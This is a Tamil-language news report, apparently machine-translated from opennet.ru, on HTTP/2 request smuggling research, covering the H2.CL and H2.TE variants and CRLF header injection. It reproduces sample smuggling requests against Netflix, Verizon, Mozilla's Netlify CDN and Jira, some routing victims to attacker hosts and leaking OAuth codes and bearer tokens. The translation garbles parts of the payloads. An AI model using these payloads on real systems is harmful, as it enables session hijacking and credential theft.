முன்-இறுதி-பின்னணி அமைப்புகளின் மீதான புதிய தாக்குதல், இது கோரிக்கைகளுக்கு ஆப்பு வைக்க உங்களை அனுமதிக்கிறது

எச்.டி.டி.பி/2 வழியாக முன் முனை இணைப்புகளை ஏற்றுக்கொண்டு, அவற்றை எச்.டி.டி.பி/1.1 வழியாக பின்தளத்திற்கு அனுப்பும் வலை அமைப்புகள், "HTTP கோரிக்கை கடத்தல்" தாக்குதலின் புதிய மாறுபாட்டிற்கு ஆளாகியுள்ளன, இது சிறப்பாக வடிவமைக்கப்பட்ட கிளையன்ட் கோரிக்கைகளை அனுப்புவதன் மூலம் அனுமதிக்கிறது. முன்பக்கம் மற்றும் பின்தளத்திற்கு இடையே ஒரே ஓட்டத்தில் செயலாக்கப்பட்ட பிற பயனர்களின் கோரிக்கைகளின் உள்ளடக்கங்களை இணைக்கவும். முறையான இணையதளத்துடன் கூடிய அமர்வில் தீங்கிழைக்கும் ஜாவாஸ்கிரிப்ட் குறியீட்டைச் செருகவும், அணுகல் கட்டுப்பாடு அமைப்புகளைத் தவிர்க்கவும் மற்றும் அங்கீகார அளவுருக்களை இடைமறிக்கவும் தாக்குதல் பயன்படுத்தப்படலாம்.

இந்தச் சிக்கல் வலைப் பதிலாள்கள், லோட் பேலன்சர்கள், வலை முடுக்கிகள், உள்ளடக்க விநியோக அமைப்புகள் மற்றும் கோரிக்கைகள் முன்-இறுதியில் இருந்து பின்தளத்தில் திருப்பிவிடப்படும் பிற உள்ளமைவுகளைப் பாதிக்கிறது. ஆய்வின் ஆசிரியர், Netflix, Verizon, Bitbucket, Netlify CDN மற்றும் Atlassian ஆகிய அமைப்புகளைத் தாக்கும் சாத்தியத்தை நிரூபித்தார், மேலும் பாதிப்புகளைக் கண்டறிந்ததற்காக 56 ஆயிரம் டாலர்களை வெகுமதி திட்டங்களில் பெற்றார். F5 Networks தயாரிப்புகளிலும் பிரச்சனை உறுதிப்படுத்தப்பட்டுள்ளது. Apache http சேவையகத்தில் (CVE-2021-33193) mod_proxyஐச் சிக்கல் ஓரளவு பாதிக்கிறது, பதிப்பு 2.4.49 இல் ஒரு சரிசெய்தல் எதிர்பார்க்கப்படுகிறது (டெவலப்பர்களுக்கு மே மாத தொடக்கத்தில் சிக்கலைத் தெரிவிக்கப்பட்டது மற்றும் அதை சரிசெய்ய 3 மாதங்கள் வழங்கப்பட்டது). nginx இல், "உள்ளடக்கம்-நீளம்" மற்றும் "பரிமாற்றம்-குறியீடு" தலைப்புகளை ஒரே நேரத்தில் குறிப்பிடும் திறன் கடந்த வெளியீட்டில் (1.21.1) தடுக்கப்பட்டது. தாக்குதல் கருவிகள் ஏற்கனவே பர்ப் கருவித்தொகுப்பில் சேர்க்கப்பட்டுள்ளன மற்றும் டர்போ இன்ட்ரூடர் நீட்டிப்பு வடிவத்தில் கிடைக்கின்றன.

போக்குவரத்தில் கோரிக்கைகளை மாற்றுவதற்கான புதிய முறையின் செயல்பாட்டின் கொள்கையானது, இரண்டு ஆண்டுகளுக்கு முன்பு இதே ஆராய்ச்சியாளரால் அடையாளம் காணப்பட்ட பாதிப்பைப் போன்றது, ஆனால் HTTP/1.1 மூலம் கோரிக்கைகளை ஏற்கும் முன்பகுதிகளுக்கு மட்டுமே. ஃபிரண்ட்எண்ட்-பேக்கெண்ட் திட்டத்தில், கிளையன்ட் கோரிக்கைகள் கூடுதல் முனை மூலம் பெறப்படுகின்றன என்பதை நினைவில் கொள்வோம் - முன்தளம், இது பேக்கெண்டுடன் நீண்ட கால டிசிபி இணைப்பை நிறுவுகிறது, இது கோரிக்கைகளை நேரடியாக செயலாக்குகிறது. இந்த பொதுவான இணைப்பு மூலம், வெவ்வேறு பயனர்களிடமிருந்து கோரிக்கைகள் பொதுவாக அனுப்பப்படுகின்றன, அவை சங்கிலியை ஒன்றன் பின் ஒன்றாகப் பின்பற்றுகின்றன, HTTP நெறிமுறை மூலம் பிரிக்கப்படுகின்றன.

கிளாசிக் "HTTP கோரிக்கை கடத்தல்" தாக்குதல் HTTP தலைப்புகள் "உள்ளடக்கம்-நீளம்" (கோரிக்கையில் உள்ள தரவின் மொத்த அளவை தீர்மானிக்கிறது) மற்றும் "பரிமாற்றம்-குறியீடு: துண்டிக்கப்பட்டது" (அனுமதிக்கிறது பகுதிகளாக மாற்றப்படும் தரவு) வேறுபட்டது. எடுத்துக்காட்டாக, முன்பக்கம் "உள்ளடக்கம்-நீளத்தை" மட்டுமே ஆதரிக்கிறது, ஆனால் "பரிமாற்றம்-குறியீடு: துண்டானது" என்பதை புறக்கணித்தால், தாக்குபவர் "உள்ளடக்கம்-நீளம்" மற்றும் "பரிமாற்றம்-குறியீடு: துண்டிக்கப்பட்ட" தலைப்புகள் இரண்டையும் கொண்ட கோரிக்கையை அனுப்பலாம், ஆனால் அளவு "உள்ளடக்கம்-நீளம்" என்பது துண்டிக்கப்பட்ட சங்கிலியின் அளவோடு பொருந்தவில்லை. இந்த வழக்கில், "உள்ளடக்கம்-நீளம்" க்கு ஏற்ப முன்பக்கமானது கோரிக்கையைச் செயலாக்கி திருப்பிவிடும், மேலும் "பரிமாற்றம்-குறியீடு: துண்டிக்கப்பட்ட" மற்றும் தாக்குபவர்களின் கோரிக்கையின் மீதமுள்ள வால் அடிப்படையில் தொகுதி முடிவடையும் வரை பின்தளம் காத்திருக்கும். அடுத்ததாக அனுப்பப்படும் வேறொருவரின் கோரிக்கையின் தொடக்கத்தில் இருக்கும்.

HTTP/1.1 என்ற உரை நெறிமுறையைப் போலன்றி, இது வரி மட்டத்தில் பாகுபடுத்தப்படுகிறது, HTTP/2 ஒரு பைனரி நெறிமுறை மற்றும் முன்-குறிப்பிட்ட அளவிலான தரவுத் தொகுதிகளைக் கையாளுகிறது. இருப்பினும், HTTP/2 வழக்கமான HTTP தலைப்புகளுடன் தொடர்புடைய போலி-தலைப்புகளைப் பயன்படுத்துகிறது. HTTP/1.1 நெறிமுறையின் மூலம் பின்தளத்துடன் தொடர்பு கொள்ளும்போது, ​​முன்னோட்டமானது இந்த போலி-தலைப்புகளை HTTP/1.1 போன்ற HTTP தலைப்புகளாக மொழிபெயர்க்கிறது. பிரச்சனை என்னவென்றால், அசல் கோரிக்கையின் அளவுருக்கள் பற்றிய தகவல் இல்லாமல், ஃபிரண்டெண்டால் அமைக்கப்பட்ட HTTP தலைப்புகளின் அடிப்படையில் ஸ்ட்ரீமைப் பாகுபடுத்துவது பற்றி பின்தளத்தில் முடிவெடுக்கிறது.

குறிப்பாக, "உள்ளடக்கம்-நீளம்" மற்றும் "பரிமாற்றம்-குறியாக்கம்" ஆகியவை போலி-தலைப்புகளின் வடிவத்தில் அனுப்பப்படலாம், இருப்பினும் அவை HTTP/2 இல் பயன்படுத்தப்படவில்லை என்றாலும், எல்லா தரவின் அளவும் தீர்மானிக்கப்படுகிறது. ஒரு தனி துறையில். இருப்பினும், HTTP/2 கோரிக்கையை HTTP/1.1 ஆக மாற்றும் செயல்பாட்டின் போது, ​​இந்த தலைப்புகள் எடுத்துச் செல்லப்பட்டு பின்தளத்தில் குழப்பத்தை ஏற்படுத்தும். இரண்டு முக்கிய தாக்குதல் மாறுபாடுகள் உள்ளன: H2.TE மற்றும் H2.CL, இதில் பின்தளமானது தவறான பரிமாற்ற-குறியீடு அல்லது உள்ளடக்க-நீள மதிப்பால் தவறாக வழிநடத்தப்படுகிறது. HTTP/2 நெறிமுறை.

முன்-இறுதி-பின்னணி அமைப்புகளின் மீதான புதிய தாக்குதல், இது கோரிக்கைகளுக்கு ஆப்பு வைக்க உங்களை அனுமதிக்கிறது

H2.CL தாக்குதலின் உதாரணம், நெட்ஃபிக்ஸ்க்கு HTTP/2 கோரிக்கையை அனுப்பும் போது, ​​உள்ளடக்க நீள போலி-தலைப்பில் தவறான அளவைக் குறிப்பிடுவது. HTTP/1.1 வழியாக பின்தளத்தை அணுகும் போது இதே போன்ற HTTP தலைப்பு உள்ளடக்க-நீளத்தைச் சேர்ப்பதற்கு இந்தக் கோரிக்கை வழிவகுக்கிறது, ஆனால் உள்ளடக்க-நீளத்தில் உள்ள அளவு உண்மையானதை விட குறைவாகக் குறிப்பிடப்பட்டதால், வால் உள்ள தரவின் ஒரு பகுதி செயலாக்கப்படுகிறது அடுத்த கோரிக்கையின் ஆரம்பம்.

எடுத்துக்காட்டாக, HTTP/2 :முறை POST :path /n

பின்தளத்தில் கோரிக்கை அனுப்பப்படும்: POST /n HTTP/1.1 ஹோஸ்ட்: www.netflix.com உள்ளடக்க நீளம்: 4 abcdGET /n HTTP/1.1 ஹோஸ்ட்: 02.rs?x.netflix.com Foo: bar

உள்ளடக்க நீளம் 4 மதிப்பைக் கொண்டிருப்பதால், பின்தளமானது கோரிக்கையின் உள்ளடக்கமாக “abcd” மட்டுமே ஏற்கும், மேலும் “GET /n HTTP/1.1...” இன் மீதமுள்ளவை அடுத்த கோரிக்கையின் தொடக்கமாக செயலாக்கப்படும். மற்றொரு பயனருடன் தொடர்புடையது. அதன்படி, ஸ்ட்ரீம் ஒத்திசைக்கப்படவில்லை மற்றும் அடுத்த கோரிக்கைக்கு பதிலளிக்கும் விதமாக, போலி கோரிக்கையை செயலாக்கியதன் முடிவு வழங்கப்படும். Netflix ஐப் பொறுத்தவரை, போலிக் கோரிக்கையில் "Host:" என்ற தலைப்பில் மூன்றாம் தரப்பு ஹோஸ்ட்டைக் குறிப்பிடுவதால், வாடிக்கையாளர் "Location: https://02.rs?x.netflix.com/n" என்ற பதிலைத் திருப்பி அனுப்பினார். நெட்ஃபிக்ஸ் தளத்தின் சூழலில் உங்கள் ஜாவாஸ்கிரிப்ட் குறியீட்டை இயக்குவது உட்பட, தன்னிச்சையான உள்ளடக்கத்தை கிளையண்டிற்கு அனுப்ப அனுமதித்தது.

இரண்டாவது தாக்குதல் விருப்பம் (H2.TE) "பரிமாற்றம்-குறியீடு: துண்டிக்கப்பட்ட" தலைப்பை மாற்றுவதை உள்ளடக்கியது. HTTP/2 இல் பரிமாற்ற-குறியீட்டு போலி-தலைப்பைப் பயன்படுத்துவது விவரக்குறிப்பால் தடைசெய்யப்பட்டுள்ளது மற்றும் அதனுடன் உள்ள கோரிக்கைகள் தவறானதாகக் கருதப்பட வேண்டும். இருப்பினும், சில முன்நிலை செயலாக்கங்கள் இந்தத் தேவையை கணக்கில் எடுத்துக் கொள்ளவில்லை மற்றும் HTTP/2 இல் பரிமாற்ற-குறியீட்டு போலி-தலைப்பைப் பயன்படுத்த அனுமதிக்கின்றன, இது HTTP தலைப்பாக மாற்றப்படுகிறது. “பரிமாற்றம்-குறியீடு” தலைப்பு இருந்தால், பின்தளமானது அதை அதிக முன்னுரிமையாக எடுத்துக்கொண்டு, “{size}\r\n{block” வடிவத்தில் வெவ்வேறு அளவுகளில் உள்ள தொகுதிகளைப் பயன்படுத்தி “துண்டிக்கப்பட்ட” பயன்முறையில் தரவைத் துண்டு துண்டாக அலசலாம். }\r\n{size} \r\n{block}\r\n0", ஒட்டுமொத்த அளவின் ஆரம்பப் பிரிவு இருந்தபோதிலும்.

அத்தகைய இடைவெளி இருப்பது வெரிசோனின் உதாரணத்தால் நிரூபிக்கப்பட்டது. ஹஃபிங்டன் போஸ்ட் மற்றும் எங்கட்ஜெட் போன்ற தளங்களிலும் பயன்படுத்தப்படும் அங்கீகரிப்பு போர்டல் மற்றும் உள்ளடக்க மேலாண்மை அமைப்பு தொடர்பான பிரச்சனை. எடுத்துக்காட்டாக, HTTP/2: :method POST:path /identitfy/XUI:authority id.b2b.oath.com பரிமாற்ற-குறியீடு மூலம் கிளையன்ட் கோரிக்கை 0 GET /oops HTTP/1.1 ஹோஸ்ட்: psres.net உள்ளடக்க நீளம்: 10 x=

பின்தளத்திற்கு HTTP/1.1 கோரிக்கையை அனுப்பியதன் விளைவாக: POST /identity/XUI HTTP/1.1 ஹோஸ்ட்: id.b2b.oath.com உள்ளடக்க-நீளம்: 66 பரிமாற்றம்-குறியீடு: துண்டிக்கப்பட்ட 0 GET /oops HTTP/1.1 ஹோஸ்ட்: psres. நிகர உள்ளடக்கம்- நீளம்: 10x=

பின்தளமானது, "உள்ளடக்க-நீளம்" தலைப்பைப் புறக்கணித்து, "பரிமாற்றம்-குறியீடு: துண்டிக்கப்பட்ட" அடிப்படையில் இன்-ஸ்ட்ரீம் பிரிப்பைச் செய்தது. நடைமுறையில், OAuth அங்கீகாரம் தொடர்பான கோரிக்கைகளை இடைமறித்தல், பரிந்துரையாளர் தலைப்பில் காட்டப்படும் அளவுருக்கள், அத்துடன் அங்கீகார அமர்வை உருவகப்படுத்துதல் மற்றும் நற்சான்றிதழ்களை அனுப்ப பயனரின் கணினியைத் தூண்டுதல் உள்ளிட்ட பயனர் கோரிக்கைகளை அவர்களின் இணையதளத்திற்குத் திருப்பிவிட இந்தத் தாக்குதல் சாத்தியமாக்கியது. தாக்குதல் நடத்துபவருக்கு. GET /b2blanding/show/oops HTTP/1.1 ஹோஸ்ட்: psres.net பரிந்துரைப்பவர்: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 ஹோஸ்ட்: psres.net அங்கீகாரம்: தாங்குபவர் eyJhcGwiOiJIUzIK…

பரிமாற்ற-குறியீட்டு போலி-தலைப்பைக் குறிப்பிட அனுமதிக்காத HTTP/2 செயலாக்கங்களைத் தாக்க, மற்றொரு முறை முன்மொழியப்பட்டது, இது "பரிமாற்றம்-குறியீடு" தலைப்பைப் புதிய வரி எழுத்தால் பிரிக்கப்பட்ட பிற போலி-தலைப்புகளுடன் இணைப்பதன் மூலம் மாற்றியமைப்பதை உள்ளடக்கியது. HTTP/1.1 க்கு மாற்றப்படும் போது இந்த வழக்கில் இரண்டு தனித்தனி HTTP தலைப்புகளை உருவாக்குகிறது).

எடுத்துக்காட்டாக, அட்லாசியன் ஜிரா மற்றும் நெட்லிஃபை சிடிஎன் (ஃபயர்பாக்ஸில் மொஸில்லா தொடக்கப் பக்கத்தை வழங்கப் பயன்படுகிறது) இந்தப் பிரச்சனையால் பாதிக்கப்பட்டன. குறிப்பாக, HTTP/2 கோரிக்கை :முறை POST :path / :authority start.mozilla.org foo b\r\n பரிமாற்ற-குறியீடு: துண்டிக்கப்பட்ட 0\r\n \r\n GET / HTTP/1.1\r\n ஹோஸ்ட் : evil-netlify-domain\r\n உள்ளடக்க நீளம்: 5\r\n \r\nx=

இதன் விளைவாக HTTP/1.1 POST / HTTP/1.1 கோரிக்கை பின்தளத்திற்கு அனுப்பப்பட்டது\r\n ஹோஸ்ட்: start.mozilla.org\r\n Foo: b\r\n பரிமாற்றம்-குறியீடு: துண்டிக்கப்பட்ட\r\n உள்ளடக்க நீளம் : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ஹோஸ்ட்: evil-netlify-domain\r\n உள்ளடக்க நீளம்: 5\r\n \r \nx=

"பரிமாற்றம்-குறியீடு" தலைப்பை மாற்றுவதற்கான மற்றொரு விருப்பம், அதை மற்றொரு போலி-தலைப்பின் பெயருடன் அல்லது கோரிக்கை முறையுடன் ஒரு வரியுடன் இணைப்பதாகும். எடுத்துக்காட்டாக, அட்லாசியன் ஜிராவை அணுகும் போது, ​​போலி-தலைப்பு பெயர் "foo: bar\r\ntransfer-encoding" மதிப்பு "chunked" ஆனது HTTP தலைப்புகளான "foo: bar" மற்றும் "transfer-encoding: chunked" ஆகியவற்றைச் சேர்க்க காரணமாக அமைந்தது. , மற்றும் போலி-தலைப்பு ":முறை" மதிப்பைக் குறிப்பிடுவது "GET / HTTP/1.1\r\nபரிமாற்றம்-குறியீடு: துண்டானது" என்பது "GET / HTTP/1.1\r\nபரிமாற்றம்-குறியாக்கம்: துண்டானது" என மொழிபெயர்க்கப்பட்டது.

சிக்கலைக் கண்டறிந்த ஆராய்ச்சியாளர், முன்முனைகளைத் தாக்குவதற்கான கோரிக்கை சுரங்கப்பாதை நுட்பத்தையும் முன்மொழிந்தார், இதில் ஒவ்வொரு ஐபி முகவரியும் பின்தளத்தில் தனித்தனி இணைப்பை நிறுவுகிறது மற்றும் வெவ்வேறு பயனர்களின் போக்குவரத்து கலக்கப்படவில்லை. முன்மொழியப்பட்ட நுட்பம் பிற பயனர்களின் கோரிக்கைகளில் குறுக்கிட அனுமதிக்காது, ஆனால் பிற கோரிக்கைகளின் செயலாக்கத்தை பாதிக்கும் பகிரப்பட்ட தற்காலிக சேமிப்பை விஷமாக்குகிறது, மேலும் சேவைத் தகவலை முன்பக்கம் இருந்து பின்தளத்திற்கு மாற்றப் பயன்படுத்தப்படும் உள்ளக HTTP தலைப்புகளை மாற்றுவதை அனுமதிக்கிறது ( எடுத்துக்காட்டாக, அத்தகைய தலைப்புகளில் முன்பக்கத்தில் அங்கீகரிக்கும் போது தற்போதைய பயனரைப் பற்றிய தகவலை பின்தளத்திற்கு அனுப்பலாம்). நடைமுறையில் முறையைப் பயன்படுத்துவதற்கான எடுத்துக்காட்டு, கேச் நச்சுத்தன்மையைப் பயன்படுத்தி, பிட்பக்கெட் சேவையில் பக்கங்களைக் கட்டுப்படுத்த முடிந்தது.

ஆதாரம்: opennet.ru

கருத்தைச் சேர்